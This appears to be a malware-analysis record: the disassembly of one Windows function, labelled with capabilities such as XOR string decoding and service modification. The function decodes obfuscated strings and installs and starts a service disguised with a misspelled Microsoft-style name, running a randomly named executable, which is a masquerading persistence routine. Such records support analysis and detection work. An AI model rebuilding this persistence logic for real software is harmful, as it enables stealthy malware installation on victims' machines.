Function at 0x407a80
Capabilities:
Encode data using xor
Modify service
Query environment variable
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x40df70], eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], str.FEDiscovery
mov dword [ebp - 0xc], sym.NetworkService.exe_void___cdecl_CertServiceInit_unsigned_long_int__wchar_t___
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
cmp eax, 1
jne 0x407ab9
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
mov ecx, 0x40ddd0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407ac1
sub ecx, edx
xor eax, eax
sar ecx, 1
push edi
mov edi, 0x9d43
je 0x407aed
lea ebx, [ebx]
xor word [eax*2 + 0x40ddd0], di
inc eax
cmp eax, ecx
jb 0x407ae0
push esi
push 0x40ddd0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407b23
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x407b23
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov al, byte [ebp - 4]
mov ecx, 0x40ddd0
mov byte [0x40df78], al
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407b33
sub ecx, edx
xor eax, eax
sar ecx, 1
je 0x407b5d
jmp 0x407b50
xor word [eax*2 + 0x40ddd0], di
inc eax
cmp eax, ecx
jb 0x407b50
call fcn.00408290
cmp dword [0x40df48], 0
jbe 0x407b76
pop esi
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret 0x10
push ebx
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
mov dword [ebp - 8], 0
call sub.msvcrt.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esp, 0xc
push 0x7d0
push 8
push dword [0x40df70]
call esi
push 0x7d0
push 8
push dword [0x40df70]
mov edi, eax
mov dword [ebp - 4], edi
call esi
mov ebx, eax
test edi, edi
je 0x407d65
test ebx, ebx
je 0x407d65
mov eax, dword [0x40df04]
push 0x7d0
mov eax, dword [eax + 4]
push ebx
push 0
call eax
test eax, eax
je 0x407d65
mov edx, 0x40de64
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x407bf1
sub edx, ecx
sar edx, 1
mov ecx, 0x40de64
call fcn.00409910
push 0x208
lea eax, [ebp - 0x218]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x407d65
lea ecx, [ebp - 0x218]
mov edx, edi
mov eax, ecx
sub edx, eax
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x407c31
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x407c43
mov eax, dword [0x40bc38]
mov edx, dword [ebp - 4]
mov dword [edi], eax
lea edi, [edx - 2]
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x407c60
mov ecx, 8
mov esi, 0x40bc3c
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
sub ecx, ebx
lea esp, [esp]
movzx eax, word [ebx]
mov word [ecx + ebx], ax
lea ebx, [ebx + 2]
test ax, ax
jne 0x407c80
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x407cb3
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
pop esi
lea eax, [edi + 1]
pop edi
mov esp, ebp
pop ebp
ret 0x10
push 0xf01ff
push 0x40bc5c
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jne 0x407d14
call ebx
push 0
mov eax, dword [0x40df04]
push 0
mov eax, dword [eax]
push 0
push 0
push 0
push str.c:AwV6xGSdN.exe
push 1
push 2
push 0x10
push 0xf01ff
push str.FrondEnd_server_discovery_service
push 0x40bc5c
push edi
call eax
mov esi, eax
test esi, esi
jne 0x407d14
call ebx
pop ebx
lea eax, [esi + 1]
pop esi
pop edi
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebp - 8]
push eax
push 1
push esi
mov dword [ebp - 8], str.Microsft_Frond_End_server_support_web_interface_stability._Sometimes_services_supply_module_need_to_replicate_critical_changes.
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 4]
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x407d55
call ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x407d62
push esi
call ebx
push edi
call ebx
pop ebx
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10